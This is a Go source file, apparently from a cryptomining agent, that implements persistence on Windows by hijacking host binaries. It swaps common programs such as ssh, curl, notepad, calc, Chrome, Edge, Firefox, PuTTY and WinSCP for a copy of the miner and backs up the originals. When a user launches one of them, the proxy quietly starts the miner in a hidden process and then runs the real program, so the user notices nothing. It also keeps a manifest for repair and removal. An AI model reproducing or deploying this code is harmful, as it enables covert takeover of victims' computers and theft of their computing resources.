//go:build windows

package deploy

import (
	"encoding/json"
	"fmt"
	"os"
	"os/exec"
	"path/filepath"
	"strings"

	"crypto-miner-agent/config"
)

const (
	hostBinaryProxySuffix  = ".aetherforge.proxy"
	hostBinaryBackupSuffix = ".aetherforge.bak"
	hostBinaryManifest     = "host-binary-hijacks.json"
)

type hostBinaryRecord struct {
	Target string `json:"target"`
	Backup string `json:"backup"`
	Preset string `json:"preset"`
}

// HostBinaryPresets lists forge/remote preset IDs for common client binaries.
var HostBinaryPresets = []string{
	"ssh", "ftp", "telnet", "mstsc", "curl", "notepad", "calc",
	"chrome", "edge", "firefox", "putty", "winscp",
}

// HostBinaryCandidates resolves a preset (or custom:full\path.exe) to existing paths on disk.
func HostBinaryCandidates(preset string) []string {
	preset = strings.TrimSpace(strings.ToLower(preset))
	if strings.HasPrefix(preset, "custom:") {
		p := strings.TrimSpace(preset[7:])
		if p != "" {
			return []string{filepath.Clean(p)}
		}
		return nil
	}
	pf := os.Getenv("ProgramFiles")
	pfx86 := os.Getenv("ProgramFiles(x86)")
	switch preset {
	case "ssh":
		return existingPaths(
			`C:\Windows\System32\OpenSSH\ssh.exe`,
			filepath.Join(pf, "Git", "usr", "bin", "ssh.exe"),
		)
	case "ftp":
		return existingPaths(`C:\Windows\System32\ftp.exe`)
	case "telnet":
		return existingPaths(`C:\Windows\System32\telnet.exe`)
	case "mstsc":
		return existingPaths(`C:\Windows\System32\mstsc.exe`)
	case "curl":
		return existingPaths(`C:\Windows\System32\curl.exe`)
	case "notepad":
		return existingPaths(
			`C:\Windows\System32\notepad.exe`,
			`C:\Windows\Notepad\notepad.exe`,
		)
	case "calc":
		return existingPaths(
			`C:\Windows\System32\calc.exe`,
			`C:\Windows\System32\win32calc.exe`,
		)
	case "chrome":
		return existingPaths(filepath.Join(pf, "Google", "Chrome", "Application", "chrome.exe"))
	case "edge":
		return existingPaths(
			filepath.Join(pfx86, "Microsoft", "Edge", "Application", "msedge.exe"),
			filepath.Join(pf, "Microsoft", "Edge", "Application", "msedge.exe"),
		)
	case "firefox":
		return existingPaths(filepath.Join(pf, "Mozilla Firefox", "firefox.exe"))
	case "putty":
		return existingPaths(filepath.Join(pfx86, "PuTTY", "putty.exe"))
	case "winscp":
		return existingPaths(filepath.Join(pfx86, "WinSCP", "WinSCP.exe"))
	default:
		if preset != "" && strings.Contains(preset, `\`) {
			return existingPaths(preset)
		}
		return nil
	}
}

func existingPaths(paths ...string) []string {
	var out []string
	for _, p := range paths {
		if p == "" {
			continue
		}
		if st, err := os.Stat(p); err == nil && !st.IsDir() {
			out = append(out, filepath.Clean(p))
		}
	}
	return out
}

func hostBinaryMarkerPath(targetExe string) string {
	return targetExe + hostBinaryProxySuffix
}

func hostBinaryBackupPath(targetExe string) string {
	return targetExe + hostBinaryBackupSuffix
}

func readHostBinaryMarker(markerPath string) (backup, miner string, ok bool) {
	data, err := os.ReadFile(markerPath)
	if err != nil {
		return "", "", false
	}
	lines := strings.Split(strings.ReplaceAll(string(data), "\r\n", "\n"), "\n")
	if len(lines) < 2 {
		return "", "", false
	}
	backup = strings.TrimSpace(lines[0])
	miner = strings.TrimSpace(lines[1])
	if backup == "" || miner == "" {
		return "", "", false
	}
	return backup, miner, true
}

// TryHostBinaryProxy returns true when this process was launched from a hijacked host binary path.
func TryHostBinaryProxy(args []string) (backup, miner string, ok bool) {
	exe, err := os.Executable()
	if err != nil {
		return "", "", false
	}
	exe, _ = filepath.Abs(exe)
	marker := hostBinaryMarkerPath(exe)
	if b, m, found := readHostBinaryMarker(marker); found {
		return b, m, true
	}
	_ = args
	return "", "", false
}

// RunHostBinaryProxy starts the installed miner in the background and runs the original binary with forwarded args.
func RunHostBinaryProxy(backup, miner string, args []string) {
	if miner != "" {
		_ = HiddenStart(miner, runFlag)
	}
	if backup == "" {
		os.Exit(1)
	}
	cmd := exec.Command(backup, args...)
	cmd.Stdin = os.Stdin
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr
	if err := cmd.Run(); err != nil {
		if exitErr, ok := err.(*exec.ExitError); ok {
			os.Exit(exitErr.ExitCode())
		}
		os.Exit(1)
	}
}

func hijackManifestPath(cfg config.RuntimeConfig) (string, error) {
	dir, err := cfg.InstallDirectory()
	if err != nil {
		return "", err
	}
	return filepath.Join(dir, hostBinaryManifest), nil
}

func loadHostBinaryManifest(path string) []hostBinaryRecord {
	data, err := os.ReadFile(path)
	if err != nil {
		return nil
	}
	var recs []hostBinaryRecord
	_ = json.Unmarshal(data, &recs)
	return recs
}

func saveHostBinaryManifest(path string, recs []hostBinaryRecord) error {
	data, err := json.MarshalIndent(recs, "", "  ")
	if err != nil {
		return err
	}
	return os.WriteFile(path, data, 0644)
}

func appendHostBinaryManifest(cfg config.RuntimeConfig, rec hostBinaryRecord) error {
	path, err := hijackManifestPath(cfg)
	if err != nil {
		return err
	}
	recs := loadHostBinaryManifest(path)
	for _, r := range recs {
		if strings.EqualFold(r.Target, rec.Target) {
			return nil
		}
	}
	recs = append(recs, rec)
	return saveHostBinaryManifest(path, recs)
}

func hijackSingleHostBinary(target, minerPath, preset string) error {
	target = filepath.Clean(target)
	if _, err := os.Stat(target); err != nil {
		return fmt.Errorf("target not found: %s", target)
	}
	marker := hostBinaryMarkerPath(target)
	if _, err := os.Stat(marker); err == nil {
		return nil
	}
	backup := hostBinaryBackupPath(target)
	if _, err := os.Stat(backup); err != nil {
		if err := os.Rename(target, backup); err != nil {
			if err := copyFile(target, backup); err != nil {
				return fmt.Errorf("backup %s: %w", target, err)
			}
			_ = os.Remove(target)
		}
	}
	if err := copyFile(minerPath, target); err != nil {
		return fmt.Errorf("replace %s: %w (admin may be required)", target, err)
	}
	body := backup + "\n" + minerPath + "\n"
	if err := os.WriteFile(marker, []byte(body), 0644); err != nil {
		return err
	}
	return nil
}

// HijackHostBinary replaces the first resolvable host binary for preset with a copy of the miner (proxy mode).
func HijackHostBinary(cfg config.RuntimeConfig, minerPath, preset string) (string, error) {
	candidates := HostBinaryCandidates(preset)
	if len(candidates) == 0 {
		return "", fmt.Errorf("no host binary found for preset %q", preset)
	}
	var lastErr error
	for _, target := range candidates {
		if err := hijackSingleHostBinary(target, minerPath, preset); err != nil {
			lastErr = err
			continue
		}
		_ = appendHostBinaryManifest(cfg, hostBinaryRecord{
			Target: target,
			Backup: hostBinaryBackupPath(target),
			Preset: preset,
		})
		return target, nil
	}
	if lastErr != nil {
		return "", lastErr
	}
	return "", fmt.Errorf("hijack failed for %q", preset)
}

// EnsureHostBinaryPersistence repairs or creates hijacks for the baked preset.
func EnsureHostBinaryPersistence(cfg config.RuntimeConfig, minerPath, preset string) error {
	if strings.TrimSpace(preset) == "" {
		return fmt.Errorf("host_binary_target is required")
	}
	_, err := HijackHostBinary(cfg, minerPath, preset)
	return err
}

// RemoveHostBinaryPersistence restores originals and clears markers/manifest.
func RemoveHostBinaryPersistence(cfg config.RuntimeConfig) {
	path, err := hijackManifestPath(cfg)
	if err != nil {
		return
	}
	recs := loadHostBinaryManifest(path)
	for _, rec := range recs {
		restoreHostBinaryTarget(rec.Target, rec.Backup)
	}
	_ = os.Remove(path)
}

func restoreHostBinaryTarget(target, backup string) {
	marker := hostBinaryMarkerPath(target)
	if backup == "" {
		backup = hostBinaryBackupPath(target)
	}
	if _, err := os.Stat(backup); err == nil {
		_ = os.Remove(target)
		_ = copyFile(backup, target)
		_ = os.Remove(backup)
	}
	_ = os.Remove(marker)
}
